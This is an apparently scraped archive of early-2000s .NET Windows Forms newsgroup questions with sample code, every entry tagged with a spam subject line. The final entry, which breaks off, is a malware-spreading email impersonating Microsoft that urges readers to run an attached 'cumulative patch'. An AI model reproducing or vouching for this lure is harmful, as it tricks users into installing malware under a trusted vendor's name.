.net Windows controls in a VB6 program
Is is possible to run a .net Windoews control in a VB6 application?
Andrew Tag: Install that critical patch from MS Tag: 58637
Showing invisible modal form
Hi all,
in my application I'm showing a modal dialog indicating
the progress of background process. I would like the
progress indicator to appear not immediately after the
background process starts, but some seconds later. The
purpose is to avoid window winking in case if the process
takes very little time. So, my question is:
how to show a modal but invisible form?
Currently I'm using the Form.Opacity property to achieve
this. After background process starts, I do ShowDialog
with Opacity = 0, and set Opacity = 1 after some time if
the process is still executing. But I wonder about
portability of this approach, and I'd prefer more
reliable way.
Thanks,
Dmitry Tag: Install that critical patch from MS Tag: 58636
Constructting and executing code at run time
Hello all
I am currently architecting an application that will
centralize launching of a set of internal applications
from a single point of entry.
One of the aspect that needs to be considered is that we
want to be able to add additional internal applications to
this central access point application without change the
code for this central access point application. This is
some what like adding plugins to internet explorer (how is
this done btw?).
I am in the early stage of designing this. But one of the
early solutions to this is to have a configurable XML file
that is read by this app each time it starts. This XML
file will contain information about all DLLs that are
plugged into the application. So adding a plugin would
simply mean adding entries to this XML file. To achieve
this, the internal applications plugged into this central
app will be instantiated by constructing calling codes
from the XML data.
So my questions are
1. Is there a way to execute code that are constructed
programmatically at run time?
2. Any suggestions of how i may build the application
described above? Tell me if you need more information in
order to give comments on this.
Cheers
James Tag: Install that critical patch from MS Tag: 58628
The Form sometimes will lose the focus
Everybody:
When I Switch the Input to input the Chinese,the Form sometimes will lose
the focus,the application has no response. Tag: Install that critical patch from MS Tag: 58622
updating child table
I have a parent child relation set up in both .net and in
sql. When I run the data adaptor to update added records
(DataViewRowState.Added) in the parent table, the child
records are automatically set to modified. Then when I
want to run the data adaptor to insert the child records,
because they have been chanbged from added to modified,
they are not inserted.
This makes the pattern--update parent, then update child--
impossible to carry out.
This seems to be a bug in the data adapter. The one
posting that admits this: 320301 does not work for me.
I need the answer in C# please. Tag: Install that critical patch from MS Tag: 58621
Help with some information on imaging subclass
Hello i'm developing a software that includes images, i see that VB.NET has
the option to save the image in diferent formats, but i need to know what
type of compression or porcentaje of quality is applied in the jpeg format,
i have looked but no information was able to find.
any help would be appreciated, in advance thanks
library tree as follows
System.Drawing.Imaging.ImageFormat.Jpeg Tag: Install that critical patch from MS Tag: 58620
SystemColors problem !
Hi,
I want to use the SystemColors class to retrieve my current system colors.
But I have a problem with the InactiveCaption propertie, in Display
Properties of Windows this propertie has two colors. The
SystemColors.InactiveCaption propertie returns only the firs color, how can
I obtain the second color ??? Tag: Install that critical patch from MS Tag: 58619
Draw a Line on a windows form
Ok this is ridiculous but...how the heck do you draw a line on a windows
form in design mode? There used to be a toolbar for VB forms but I cannot
find it in VS.NET
thanks,
eRic Tag: Install that critical patch from MS Tag: 58605
Error in Calling..the same form again
Hello ,
I am developing an application using objects where my
object gets updated from a second form. when I update the
object the first time it works fine but when I reload it
using frm.showdialog it gives me an error
system.argument..error and invalid Parameter Used. I am
unable to find out the reason. also in the form
constructor new i am overloading it and passing my object.
any suggestions Tag: Install that critical patch from MS Tag: 58593
Problem Disposing file locks in a PictureBox
My problem concerns the fact that PictureBoxes appear to retain a lock on
the file supplying the image, and I cannot work out how to release this lock
deterministically (within the Dispose method).
I have a UserControl which contains a PictureBox. On my form I have a Panel
containing a collection of these UserControls. Each has it's image loaded
using Image.FromFile(). My program needs to delete the illustrated files at
certain times, but each File.Delete() attempt causes an exception reporting
File in Use. I have proved conclusively that it is the UI PictureBox control
that is causing this, even though I clear the UI down before I attempt the
Delete.
I've written a lot of what you might assume would be unnecessary Dispose()
code to try and clean up these locks. Can anyone shed light on how this
should be done, PLEASE???
In my UserControl, I have (thus far!):
protected override void Dispose( bool disposing )
{
if ( disposing )
{
// attempt to destroy the PictureBox and all its resources
Controls.Remove(picThumb) ;
picThumb.Image = null ;
picThumb.Click -= new System.EventHandler(this.picThumb_Click);
picThumb.MouseEnter -= new
System.EventHandler(this.picThumb_MouseEnter);
picThumb.Dispose();
picThumb = null;
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
And on my Form, I run this code:
while (panel1.Controls.Count > 0)
{
Control ctl = panel1.Controls[0] ;
panel1.Controls.RemoveAt(0) ;
ctl.Dispose();
}
panel1.Controls.Clear() ;
Application.DoEvents() ;
// now attempt to Delete files...but it will fail.
Brian Smith Tag: Install that critical patch from MS Tag: 58587
Cancellable events
I dont like the concept of cancellable events, why cant we have an event
that we can catch before the event we must cancel?
Take the following example
WM_SYSCOMMAND and SC_CLOSE for the system menu close item or close button,
in WinForms you must cancel the Closing event, isnt that too late? Sure it
works but it seems messy compared to actually catching an event that the
item is selected.
Are these a good idea or just lazy or unthought out designing? Tag: Install that critical patch from MS Tag: 58581
How to: Launch application AND open the "triggering" file
Hi, I need some help. Hopefully this is trivial!
I have created a special file type for my application. I can easily
associate the app with the file type manually and I have even seen som code
to do this as well. (MSDN - 185453)
However, once the app is launched after double-clicking on the file,
how can I identify which file was selected, i.e. triggered the launch.
Pls point me to the right direction for search!
Thanks,
Bob Tag: Install that critical patch from MS Tag: 58577
How To: Specify the ORDER of attributes written to an XML file???
I'm using XmlSerializer to write an simple class to an XML file. I expected
that the member data would be written out in the order it appeared in the
class, but it doesn't. Does anyone know what determines the order when a
class is deserialized? Any way to control the order?
Thanks,
Steve Tag: Install that critical patch from MS Tag: 58576
ANN: DataGridNetPlus
New Windows.Forms.Datagrid control with VB.NET source code just only
US$ 79.00.
DataGridNetPlus is the datagrid that inherited from Microsoft .NET
Framework System.Windows.Forms.DataGrid with the following additional
feature:
1. Five more DataGridColumnStyle i.e.
- TextboxButtonColumn
- ComboBoxColumn
- DateTimePickerColumn
- LinkLabelColumn
- ImageColumn
2. Can set Enter Key to next column
3. Can set Vertical scrollbar
You can integrate DataGridNetPlus to IDE as adding any control to
Toolbox.
Please visit us as www.datagridnetplus.com
Don't spend your valuable time coding and testing on creating
DataGridColumnStyle.
Cheer.
Pairat Tag: Install that critical patch from MS Tag: 58574
Strange / Weird Combo Troubles
I have two forms one with one combo (frmSearch), and another with three
combos (frmPart).
Each combo is filled using a class object which essentially opens a
datatable based on an SQL query, and sets the display / valuemembers.
frmSearch has one unbound combo.
frmPart has three combo's which are bound to a datatable, using the form's
currency manager.
Both forms have a debugging button which displays the row count of each
combo.
When I open frmSearch, The combo is filled, and the first entry is visible.
Clicking the debugging button tell me there are 11 rows in the combo.
Then, when I click on the title bar (the blue bit at the top) and drag the
form, the the combo clears, and cliking the debugging button tell mw the
combo is now empty!!!!!!
When I open frmPart (the 3 bound combos), randomly, some of the combos are
filled, sometimes all, sometimes, none, sometimes two of them are filled,
and the debugging button reports the contents in line with each combo's
state. On one occasion I just moved the mouse and all three combo's cleared
and had no rows in them.
Has anybody else had experience of this??
I am baffled?
Alex Tag: Install that critical patch from MS Tag: 58572
Last line for Exception
Is there any way to do the same as Resume when you are in
the debugger in an exception handler? I want to go back
to the exact line that caused the exception. How do i do
this? Currently i disable the exception handler and add
the on error goto and then perform a resume but that seems
really dumb Tag: Install that critical patch from MS Tag: 58571
Re: hide column(s) in windows datagrid
Thanx for the answers.
I've done all the things you tell me to do.
The problem here is that tha datagrid doesn't respect the GrdColumnStyle
settings, let's say that my query returns 10 columns, and I just set 5
columns in the datagrid because I only want to show 5, and set the first
column width to 0. Well, not only the first column is shown, but I also get
all the columns from the query in the datagrid. It's like the tablestyle
setting is being bypassed.
I'm trying to find the way to get closer (without getting hurt in the
process) to the Datagrid Web Control, wich is much easier to use and set.
thanx for the answers!
Ignacio
"Hector Correa" <hcorrea@RemoveThis_visionds.com> escribió en el mensaje
news:077501c38e13$b7bcc370$a301280a@phx.gbl...
> Hola Ignacio,
>
> As Chris mentioned, you need to use TableStyles to do
> what you want to do. And indeed, it is more complicated
> than it should.
>
> Here is an example of a small class that I created to
> save the properties of a grid to an XML file so that next
> time the user launches the form the grid properties (e.g.
> column width) are preserved:
>
> http://www.gotdotnet.com/Community/UserSamples/Details.asp
> x?SampleGuid=c70c9240-d404-4f5c-b2fc-45475ef1eeb0
>
>
>
> >-----Original Message-----
> >Hey group!
> >I have worked with ASP.NET Webforms for quite a long
> time, and about a month
> >ago I started working with VB.NET Windows Forms.
> >And I found the Datagrid control to be a bit different
> from the Webforms
> >control.
> >Above all because I had to design Table And Column
> Styles, and I Don't know
> >how to make a Column invisible.
> >(following other option that's not width = 0).
> >I believe that if I set a MappingName for a column, this
> sets a relation
> >between the column and the Datatable Column Name.
> >But what If I want to hide the ID Column? and Can I just
> show the fields I
> >want instead of receiving all the columns from the
> Datasource? (Dataset in
> >this case)
> >
> >I hope my english is clear enough.
> >thanx in advance
> >Ignacio. Tag: Install that critical patch from MS Tag: 58570
Keep the DataGrid from scrolling when clicking on last visible row.
I need to figure out a way to keep my DataGrid from scrolling when I
click on the last visible row.
What's happening is when I click on row 5, which is the last visible
row, the datagrid scrolls so that row 6 is now the last visible row.
I'm trying to handle the mouse down/up events and catching double
clicks and this row shift is screwing things up.
Is it possible to keep the datagrid from moving around like that, when
you click on a row? I've already inherited the grid for other
reasons, so that's not a problem for me.
Thanks... Tag: Install that critical patch from MS Tag: 58569
TextBox.TextAlign
Hello NG
Task: Left align the contents of a textbox as long as it
has the focus; while it's not focused, the contents should
be right aligned.
Tried: Set the TextAlign property to
HorizontalAlignment.Left or Right in event procedures.
Result:
- GotFocus/LostFocus: On re-entering the textbox an error
occurs: "Object reference not set to an instance of an
object". The GotFocus event is fired more than one time.
- Enter/Leave: The textbox cannot be left by pressing Tab.
- GotFocus/Leave: same as Enter/Leave
- Enter/LostFocus: On re-entering the textbox by clicking
on it it's contents are deleted, the alignment is not
changed to left.
This behaviour (I think it's a bug) is the same in VB.NET
and C#. In VB6 it works fine.
Anybody got a hint?
PS: This feature is needed for a numeric control derived
from TextBox. The behaviour is as described with the
TextBox class itself as well! Tag: Install that critical patch from MS Tag: 58567
Printing only one line of text
Hi,
I would like to print only one line of text at a time on
a matrix printer. In VB6 I could do it by sending ESC-
sequences directly to the LPT port.
Does anyone know, how this could be done in VB.NET?
Thanks
Bruno Tag: Install that critical patch from MS Tag: 58557
Possible data grid bug.
I'm having a few issues with a DataGrid.
We have to change the column title dynamically at run time. Unfortunately,
accessing the indexer like so:
// Loop through all the cell and see if their text width is larger than the
columnName width
for ( int count = 0; count < rowCount; count++ )
{
size = graphics.MeasureString( this.m_dataGridControl[count,
column].ToString(), this.m_dataGridControl.Font, 500, stringFormat );
if ( size.Width > width )
{
width = size.Width + rightMargin;
}
}
gives the following InvalidOperationException:
{"The 'X mm' DataGridColumnStyle cannot be used because it is not associated
with a Property or Column in the DataSource." }
Unfortunately, the documentation for this indexer suggests that the only
exception it can throw is an ArgumentOutOfRange exception. Can anyone give
me a suggestion as to what it might mean??
Cheers,
4Space Tag: Install that critical patch from MS Tag: 58556
store binary data in text format
I would like to store some binary data inside my own XML file under some
nodes.
I can convert the whole binary file byte-by-byte by myself but are there any
more efficient and ellegant ways? I tried to use ResXResourceWriter class
but it stores the whole ResX file and what I need is only the text-encoded
binary data (i.e. the content of /data/value from such ResX).
for example:
Image i = Image.FromFile( ... );
// ? how to convert the binary data from i to the text format?
// this is NOT what I want because it writes whole ResX file
System.IO.StreamWriter sw = new StreamWriter( @"c:\000\puch.sv" );
ResXResourceWriter rw = new ResXResourceWriter( sw );
rw.AddResource( "Image", b );
Thanks for your help,
Wiktor Tag: Install that critical patch from MS Tag: 58555
Problem with user control on a tab page
Hi,
Can anyone shed some light on this problem I am having.
I have a user control written in C# which is based on a
textbox, with a button and a vertical scrollbar inside
it. I have a property which states if the vertical
scrollbar is visible or not. Both the button and
scrollbar are docked to the right of the textbox. When I
put the control onto a tab page on a windows form
everything is ok. When however I set the SpinnerVisible
property to false the designer shows the control with no
vertical scrollbar and the button has moved to the
right. When I then run the app, the control is displayed
incorrectly, the button isn't docked to the right and
there is a gap where the scrollbar was.
If however you don't put the control on a tab page it
works fine.
Is this a problem with the tab page? or am I just missing
something?
This is the code for the control:
public class TextEntryField : System.Windows.Forms.TextBox
{
private System.Windows.Forms.Button btnLookUp;
private System.Windows.Forms.VScrollBar vscSpinner;
private bool isSpinnerVisible;
private System.ComponentModel.Container components =
null;
public TextEntryField()
{
// This call is required by the Windows.Forms
Form Designer.
InitializeComponent();
SpinnerVisible = true;
}
/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if( components != null )
components.Dispose();
}
base.Dispose( disposing );
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not
modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
components = new System.ComponentModel.Container
();
this.vscSpinner = new
System.Windows.Forms.VScrollBar();
this.btnLookUp = new System.Windows.Forms.Button
();
this.vscSpinner.SuspendLayout();
this.btnLookUp.SuspendLayout();
this.SuspendLayout();
/*
* Spinner
*/
this.vscSpinner.Cursor = Cursors.Arrow;
this.vscSpinner.Dock = DockStyle.Right;
this.vscSpinner.ImeMode = ImeMode.NoControl;
this.vscSpinner.LargeChange = 1;
this.vscSpinner.Name = "vscDateSpin";
this.vscSpinner.Size = new Size(16, 16);
this.vscSpinner.Location = new Point(80, 0);
this.vscSpinner.TabIndex = 1;
//
// btnLookUp
//
this.btnLookUp.BackColor = SystemColors.Control;
this.btnLookUp.Cursor = Cursors.Arrow;
this.btnLookUp.Location = new Point(64, 0);
this.btnLookUp.Size = new System.Drawing.Size(16,
16);
this.btnLookUp.Dock = DockStyle.Right;
this.btnLookUp.Name = "btnLookUp";
this.btnLookUp.FlatStyle =
System.Windows.Forms.FlatStyle.System;
this.btnLookUp.TabStop = false;
this.btnLookUp.TabIndex = 0;
//
// TextEntryField
//
this.Name = "TextEntryField";
this.Controls.Add(this.btnLookUp);
this.Controls.Add(this.vscSpinner);
this.vscSpinner.ResumeLayout(false);
this.btnLookUp.ResumeLayout(false);
this.ResumeLayout(true);
}
#endregion
public bool SpinnerVisible
{
get
{
return isSpinnerVisible;
}
set
{
isSpinnerVisible = value;
this.vscSpinner.Visible = isSpinnerVisible;
}
}
}
Cheers
Stephen White Tag: Install that critical patch from MS Tag: 58552
Overloading Treeview.Nodes.Add Function
Hi all
Does anybody knows how to overload or of corse
shadow the function TreeView.Nodes.Add?
I have tryed to Inherit System.Windows.Forms.TreeNodes
and then overload like:
Public Overloads Function Add(ByVal TreeNode As TreeNode)
As Integer
MyBase.Nodes.Add(TreeNode)
End Function
Thanks for any comments!
Frank Tag: Install that critical patch from MS Tag: 58551
Directory dialog box
Hi,
Is there a specific dialog box for letting the user to
choose a directory and not a file?
Thank you. Tag: Install that critical patch from MS Tag: 58548
Printing a WinForm including an embedded IE HTML control
Folks,
I have a WinForms app which shows HTML text snippets in an embedded
MSHTML control.
Now, I need to be able to print the whole thing - how can I do this?
Is there an easy way to set up a page so I can print some stuff from
my WinForms controls (text boxes etc.), and include the HTML formatted
text in the middle of it (obviously showing the HTML formatting, like
bold, italic etc.)
Can't seem to make all ends meet - I can tell the HTML control to
print itself, but then the IE control takes over and just prints
itself - nothing else. I can't really just grab the HTML source code
from the HTML control either - I want to have it print formatted, not
in HTML source.....
Any takers??
Marc
================================================================
Marc Scheuner May The Source Be With You!
Bern, Switzerland m.scheuner(at)inova.ch Tag: Install that critical patch from MS Tag: 58547
Find out the form caption font
Hi,
how do I find out the font that is used in the form
caption? I don't want to change it, just read it.
I looked in System.Windows.Forms.SystemInformation, but
there is no property there. I spent some time sifting
through the docs, but didn't find anything. Does anyone
know?
Thanks,
Henrik Tag: Install that critical patch from MS Tag: 58546
ListView columnHeaders
How Can I put small images next to text in my listView
columnHeaders, in order to show to user the sorted column ? Tag: Install that critical patch from MS Tag: 58541
SupportsTransparentBackColor
I have a smooth progress bar and, in time honoured fashion, wish to display
the progression percentage in the middle of the bar.
I naturally wish to have the text transparent but am struggling to
incorporate this enum.
I have set the flag to true for my control, but cannot then load it to a
form.
Any suggestions?
Tony Tag: Install that critical patch from MS Tag: 58537
call c function
hi,everybody,
I create a C# windows application. Can I call a C function
in the application?
Thanks Tag: Install that critical patch from MS Tag: 58536
run crystal report .net version in win98
When i deploy an window application to win98 and want to view the crystal
report .net version, it fails, but it works in win2k, why is that? Do i need
to do anything else? thz Tag: Install that critical patch from MS Tag: 58534
DataGridTextBoxColumn Event
Hi all, Need some help here.
I have created my own DataGridTextBoxColumn and
DataGridTableStyle and have bound this to the DataGrid.
I am trying to capture the text changed event on a
DataGridTextBoxColumn. I need an event to be triggered
when the user either edit's text in the textbox, or tabs
on textbox, hits enter key, or presses up/down/right/left
keys.
I tried capturing the LostFocus & Leave events on the
DataGridTextBoxColumn. These events fires only if the
users hits tab on the column. It does not fire on hitting
enter key.
The TextChanged event fires for each character typed,
which probably I think I should be using to check for
integrity of data, but then how do I tell once the user
has finished typing.
Can anyone help me in this context.
Let me know if you still need more explanation.
Thanks Tag: Install that critical patch from MS Tag: 58523
Apply these critical patch
--ljbkagibvrd
Content-Type: multipart/related; boundary="gbhkzklmgfyjlihe";
type="multipart/alternative"
--gbhkzklmgfyjlihe
Content-Type: multipart/alternative; boundary="znjyqiibn"
--znjyqiibn
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Partner
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
--znjyqiibn
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:nusnnsg" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Partner<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:rdxurrj" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:rdxurrj" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD>&